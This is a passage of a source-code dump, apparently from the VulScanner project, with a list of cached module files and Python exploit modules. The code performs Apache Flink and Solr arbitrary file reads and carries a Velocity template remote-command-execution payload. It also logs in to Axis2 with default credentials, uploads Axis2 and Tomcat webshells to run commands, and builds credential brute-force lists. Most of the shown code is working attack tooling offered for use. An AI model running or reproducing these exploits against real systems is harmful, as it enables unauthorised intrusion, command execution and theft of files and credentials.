csv_data = "" 12 | if mode == "service": 13 | data_list = ServiceScan.objects.filter(taskid=task_id) 14 | field_names = [i.name for i in ServiceScan._meta.fields] 15 | elif mode == "vuln": 16 | data_list = VulnScan.objects.filter(taskid=task_id) 17 | field_names = [i.name for i in VulnScan._meta.fields] 18 | else: 19 | data_list = IpScan.objects.filter(taskid=task_id) 20 | field_names = [i.name for i in IpScan._meta.fields] 21 | csv_data += ",".join(field_names) + "\n" 22 | for i in data_list: 23 | data = [] 24 | for j in field_names: 25 | data.append(str(getattr(i, j))) 26 | csv_data += ",".join(data) + "\n" 27 | return csv_data.encode("utf-8") 28 | 29 | 30 | def open_file(filename, mode="r", dir="dict"): 31 | return open(os.getcwd() + "/vulscan_Project/%s/%s"%(dir, filename), mode) 32 | 33 | def get_burp_list(module): 34 | user_file = open_file(f"dict_{module}/dic_username_{module}.txt", "r") 35 | pwd_file = open_file(f"dict_{module}/dic_password_{module}.txt", "r") 36 | burp_list = [] 37 | user_list = [i.strip() for i in user_file.readlines()] 38 | pwd_list = [i.strip() for i in pwd_file.readlines()] 39 | for u in user_list: 40 | for p in pwd_list: 41 | if not u == "" and not p == "": 42 | burp_list.append((u.strip(),p.strip())) 43 | return burp_list -------------------------------------------------------------------------------- /vulscan_Project/modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__init__.py -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/apache_flink_file_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/apache_flink_file_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/apache_flink_file_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/apache_flink_file_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/apache_solr_file_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/apache_solr_file_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/apache_solr_file_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/apache_solr_file_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/apache_solr_velocity_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/apache_solr_velocity_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/apache_solr_velocity_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/apache_solr_velocity_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/axis2_password_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/axis2_password_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/axis2_password_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/axis2_password_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/burp_sql_pwd_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/burp_sql_pwd_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/burp_tomcat_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/burp_tomcat_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/burp_tomcat_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/burp_tomcat_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/daloradius_pwd_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/daloradius_pwd_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/daloradius_pwd_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/daloradius_pwd_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/docker_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/docker_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/fineport_v8_file_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/fineport_v8_file_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/fineport_v8_file_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/fineport_v8_file_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/h3c_secparth_rce_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/h3c_secparth_rce_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/h3c_secparth_rce_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/h3c_secparth_rce_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/inspur_rce_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/inspur_rce_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/inspur_rce_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/inspur_rce_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/jumpserver_logs_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/jumpserver_logs_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/landary_file_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/landary_file_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/landary_file_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/landary_file_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/minio_ssrf_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/minio_ssrf_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/nc_bsh_rce_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/nc_bsh_rce_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/nc_bsh_rce_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/nc_bsh_rce_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/nete_firewall_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/nete_firewall_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/nete_firewall_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/nete_firewall_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/node_red_file_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/node_red_file_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/node_red_file_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/node_red_file_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/safe_md5_pwd_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/safe_md5_pwd_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/sangfor_safe_rce_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/sangfor_safe_rce_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/seeyon_webmail_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/seeyon_webmail_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/seeyon_webmail_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/seeyon_webmail_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/shiro_deserialize_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/shiro_deserialize_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/showdoc_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/showdoc_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/showdoc_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/showdoc_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/ssh_burp_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/ssh_burp_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/ssh_burp_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/ssh_burp_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/thinkphp5_rce_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/thinkphp5_rce_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/thinkphp5_rce_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/thinkphp5_rce_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/thinkphp_debug_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/thinkphp_debug_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/thinkphp_debug_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/thinkphp_debug_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/tianqin_sql_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/tianqin_sql_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/vesystem_rce_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/vesystem_rce_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/vesystem_rce_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/vesystem_rce_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/weblogic_console_unauthorize_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/weblogic_console_unauthorize_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/weblogic_pwd_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/weblogic_pwd_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/weblogic_wls9_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/weblogic_wls9_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/weblogic_wls9_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/weblogic_wls9_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/weblogic_xml_exp.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/weblogic_xml_exp.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/weblogic_xml_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/weblogic_xml_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/wui_file_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/wui_file_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/wui_sql_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/wui_sql_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/wui_xml_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/wui_xml_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/__pycache__/zyxel_user_poc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/vulscan_Project/modules/__pycache__/zyxel_user_poc.cpython-37.pyc -------------------------------------------------------------------------------- /vulscan_Project/modules/apache_flink_file_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # Apache Flink 任意文件读取 3 | 4 | from VulnScanModel.models import VulnScan 5 | from . import apache_flink_file_poc 6 | 7 | 8 | def exp(vuln: VulnScan, cmd, content=""): 9 | return apache_flink_file_poc.flink_file_poc(vuln.url, cmd, "exp") -------------------------------------------------------------------------------- /vulscan_Project/modules/apache_flink_file_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # Apache Flink 任意文件读取 3 | 4 | from .. import requestUtil 5 | from ServiceScanModel.models import ServiceScan 6 | 7 | 8 | def flink_file_poc(url, filename="/etc/passwd", type="poc"): 9 | resp = requestUtil.get( 10 | url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f" + filename.replace( 11 | "/", "%252f")) 12 | print(resp.text) 13 | if type == "poc": 14 | if "root" in resp.text: 15 | return resp.text 16 | else: 17 | return resp.text 18 | 19 | 20 | def fingerprint(service): 21 | try: 22 | if "Apache Flink" in service.title: 23 | return True 24 | except: 25 | return False 26 | 27 | 28 | def poc(service: ServiceScan): 29 | try: 30 | result = flink_file_poc(service.url) 31 | if result: 32 | return ["Apache Flink 任意文件读取", "/etc/passwd:
"+"
".join(result.split("\n")[:2]) + "
..."] 33 | except: 34 | return [] 35 | -------------------------------------------------------------------------------- /vulscan_Project/modules/apache_solr_file_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # Apache Solr 任意文件读取 3 | 4 | from VulnScanModel.models import VulnScan 5 | from . import apache_solr_file_poc 6 | 7 | 8 | def exp(vuln: VulnScan, cmd, content=""): 9 | return apache_solr_file_poc.solr_file_poc(vuln.url, vuln.specify, cmd, "exp") 10 | -------------------------------------------------------------------------------- /vulscan_Project/modules/apache_solr_file_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # Apache Solr 任意文件读取 3 | 4 | from .. import requestUtil 5 | from ServiceScanModel.models import ServiceScan 6 | 7 | 8 | def solr_file_poc(url, db="", filename="passerW.txt", type="poc"): 9 | try: 10 | if db == "": 11 | resp = requestUtil.get(url + "/solr/admin/cores?_=1626521816720&indexInfo=false&wt=json").json() 12 | db = list(resp["status"].keys())[0] 13 | resp = requestUtil.get(url + "/solr/%s/debug/dump?param=ContentStreams&stream.url=file:///%s" % (db, filename)) 14 | if type == "poc": 15 | if "No such file or directory" in resp.text: 16 | return db 17 | else: 18 | return False 19 | else: 20 | resp = resp.json() 21 | return resp["streams"][0]["stream"] 22 | except Exception as e: 23 | print(e) 24 | return "" 25 | 26 | 27 | def fingerprint(service): 28 | try: 29 | if "solr" in service.title.lower(): 30 | return True 31 | except: 32 | return False 33 | 34 | 35 | def poc(service: ServiceScan): 36 | try: 37 | result = solr_file_poc(service.url) 38 | if result: 39 | print((["Apache Solr 任意文件读取", "可用应用: %s" % result], result)) 40 | return (["Apache Solr 任意文件读取", "可用应用: %s" % result], result) 41 | except: 42 | return [] 43 | -------------------------------------------------------------------------------- /vulscan_Project/modules/apache_solr_velocity_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # Apache Solr Velocity模板远程执行 3 | 4 | from VulnScanModel.models import VulnScan 5 | from . import apache_solr_velocity_poc 6 | 7 | 8 | def exp(vuln: VulnScan, cmd, content=""): 9 | return apache_solr_velocity_poc.rce(vuln.url, vuln.specify, cmd) 10 | -------------------------------------------------------------------------------- /vulscan_Project/modules/apache_solr_velocity_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # Apache Solr Velocity模板远程执行 3 | import json 4 | 5 | from .. import requestUtil, fileUtil 6 | from ServiceScanModel.models import ServiceScan 7 | 8 | config_data = { 9 | "update-queryresponsewriter": { 10 | "startup": "lazy", 11 | "name": "velocity", 12 | "class": "solr.VelocityResponseWriter", 13 | "template.base.dir": "", 14 | "solr.resource.loader.enabled": "true", 15 | "params.resource.loader.enabled": "true" 16 | } 17 | } 18 | 19 | 20 | def get_core(url): 21 | try: 22 | resp = requestUtil.get(url + "/solr/admin/cores?_=1626521816720&indexInfo=false&wt=json").json() 23 | dbs = list(resp["status"].keys()) 24 | return dbs 25 | except: 26 | return False 27 | 28 | 29 | def set_config(url, db): 30 | try: 31 | resp = requestUtil.post(url + f"/solr/{db}/config", header={"Content-Type": "application/json"}, 32 | data=json.dumps(config_data)) 33 | if '"status":0,' in resp.text: 34 | return db 35 | else: 36 | return False 37 | except: 38 | return False 39 | 40 | 41 | def rce(url, db, cmd="whoami"): 42 | resp = requestUtil.get( 43 | f'{url}/solr/{db}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x="")+%23set($rt=$x.class.forName("java.lang.Runtime"))+%23set($chr=$x.class.forName(\'java.lang.Character\'))+%23set($str=$x.class.forName("java.lang.String"))+%23set($ex=$rt.getRuntime().exec("{cmd}"))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"') 44 | if resp.status_code == 200 and not "responseHeader" in resp.text: 45 | print(resp.text) 46 | return resp.text.strip("0 ").strip('\"') 47 | 48 | 49 | def fingerprint(service): 50 | try: 51 | if service.url and "solr" in service.title.lower(): 52 | return True 53 | return True 54 | except: 55 | return False 56 | 57 | 58 | def poc(service: ServiceScan): 59 | try: 60 | if True: 61 | dbs = get_core(service.url) 62 | valid_db = False 63 | for db in dbs: 64 | valid_db = set_config(service.url, db) 65 | if valid_db: 66 | break 67 | if valid_db: 68 | result = rce(service.url, db=valid_db) 69 | if result: 70 | return (["Apache Solr Velocity模板远程执行", "当前用户: %s" % result], valid_db) 71 | except: 72 | return [] 73 | -------------------------------------------------------------------------------- /vulscan_Project/modules/axis2_password_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # axis2弱密码 3 | import re 4 | 5 | import requests 6 | 7 | from .. import requestUtil, fileUtil 8 | from VulnScanModel.models import VulnScan 9 | 10 | 11 | def upload_aar(url, session): 12 | resp = requestUtil.get(url + "upload", session=session) 13 | token = re.findall('doUpload\?token=(.*?)"', resp.text) 14 | if not token == []: 15 | upload_path = "doUpload?token=%s" % token[0] 16 | else: 17 | upload_path = "upload" 18 | data = requestUtil.get_file_data("config.aar", 19 | fileUtil.open_file(dir="webshell", filename="config.aar", mode="rb").read()) 20 | resp = requestUtil.post(url + upload_path, data=data[0], header={"Content-Type": data[1]}, session=session) 21 | print(resp.text) 22 | return True 23 | 24 | 25 | def login(url, session): 26 | resp = requestUtil.post(url + "login", data="userName=admin&password=axis2&submit=+Login+", session=session) 27 | return True 28 | 29 | 30 | def rce(url, cmd): 31 | resp = requestUtil.get(f"{url}/services/config/exec?cmd={cmd}", timeout=10) 32 | if resp.status_code != 404: 33 | return re.findall("(.*?)", resp.text, re.DOTALL)[0].replace(" ", "\n") 34 | else: 35 | return False 36 | 37 | 38 | def exp(vuln: VulnScan, cmd, content=""): 39 | root_url = vuln.url + vuln.specify.replace("/axis2-admin/", "") 40 | result = rce(root_url, cmd) 41 | if not result: 42 | session = requests.session() 43 | admin_url = vuln.url + vuln.specify 44 | login(admin_url, session) 45 | upload_aar(admin_url, session) 46 | result = rce(vuln.url + vuln.specify.replace("/axis2-admin/", ""), cmd) 47 | return "shell地址: \n%s" % f"{root_url}/services/config\n输出结果:\n" + str(result) 48 | -------------------------------------------------------------------------------- /vulscan_Project/modules/axis2_password_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # axis2弱密码 3 | 4 | from .. import requestUtil, fileUtil 5 | from ServiceScanModel.models import ServiceScan 6 | 7 | def fingerprint(service): 8 | try: 9 | if service.url and "Apache-Coyote" in service.server: 10 | resp_1 = requestUtil.get(service.url+"/axis2/") 11 | resp_2 = requestUtil.get(service.url+"/axis2-admin/") 12 | if resp_1.status_code == 200: 13 | return "/axis2/axis2-admin/" 14 | elif resp_2.status_code == 200: 15 | return "/axis2-admin/" 16 | except: 17 | return False 18 | 19 | def poc(service: ServiceScan): 20 | try: 21 | if True: 22 | resp = requestUtil.post(service.url+service.speciality+"login", data="userName=admin&password=axis2&submit=+Login+") 23 | print(resp.text) 24 | if "Tools" in resp.text: 25 | return (["axis2弱密码", "用户名: admin
密码: axis2"], service.speciality) 26 | except: 27 | return [] -------------------------------------------------------------------------------- /vulscan_Project/modules/burp_tomcat_exp.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | import requests 4 | 5 | from VulnScanModel.models import VulnScan 6 | from .. import requestUtil, fileUtil 7 | 8 | 9 | 10 | def upload_war(url, authorized_key): 11 | resp = requestUtil.get(url+"/manager/html", header={"Authorization": "Basic %s" % authorized_key}) 12 | upload_path = re.findall(r'"(/manager/html/upload.*?)"', resp.text)[0] 13 | data = requestUtil.get_file_data(filename="zs.war", filedata=fileUtil.open_file(filename="zs.war", dir="webshell", mode="rb").read(), param="deployWar") 14 | resp = requestUtil.post(url+upload_path, data=data[0], header={"Content-Type": data[1],"Authorization": "Basic %s" % authorized_key}) 15 | return True 16 | 17 | def rce(url, cmd): 18 | resp = requestUtil.get(url+f"/zs/zs.jsp?i={cmd}") 19 | print(resp.text) 20 | if resp.status_code != 404: 21 | return re.findall(b"
(.*?)
